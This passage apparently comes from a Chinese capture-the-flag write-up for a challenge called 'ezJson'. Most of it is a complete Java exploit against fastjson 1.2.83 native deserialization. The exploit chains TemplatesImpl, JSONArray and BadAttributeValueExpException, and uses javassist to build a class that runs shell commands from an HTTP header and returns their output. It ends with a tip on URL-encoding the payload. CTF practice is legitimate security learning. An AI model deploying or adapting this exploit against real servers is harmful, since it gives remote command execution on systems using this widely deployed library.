httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } }
ezJson fastjson 1.2.83 没做任何限制 直接尝试打fastjson全版本原生反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.*;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class run { public static void main (String[] args) throws Exception { CtClass clazz = genPayloadForLinux(); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "jed" ); setFieldValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); setFieldValue(val, "val" , jsonArray); HashMap hashMap = new HashMap (); hashMap.put(templates, val); ByteArrayOutputStream outputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (outputStream); objectOutputStream.writeObject(hashMap); String payload = Base64.getEncoder().encodeToString(outputStream.toByteArray()); System.out.println(payload); System.out.println(payload.length()); } public static void setFieldValue (Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); Field classField = clazz.getDeclaredField(fieldName); classField.setAccessible(true ); classField.set(obj, fieldValue); } public static CtClass genPayloadForLinux () throws CannotCompileException, NotFoundException { ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass("A" ); if ((clazz.getDeclaredConstructors()).length != 0 ) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0 ]); } clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" + " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" + " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" + " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" + " String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" + " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" + " httpresponse.getWriter().write(new String(result));\n" + " httpresponse.getWriter().flush();\n" + " httpresponse.getWriter().close();\n" + " }" , clazz)); clazz.getClassFile().setMajorVersion(50 ); CtClass superClass = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); return clazz; } }
POST传参记得URL特殊编码 忘记编码我还愣了一会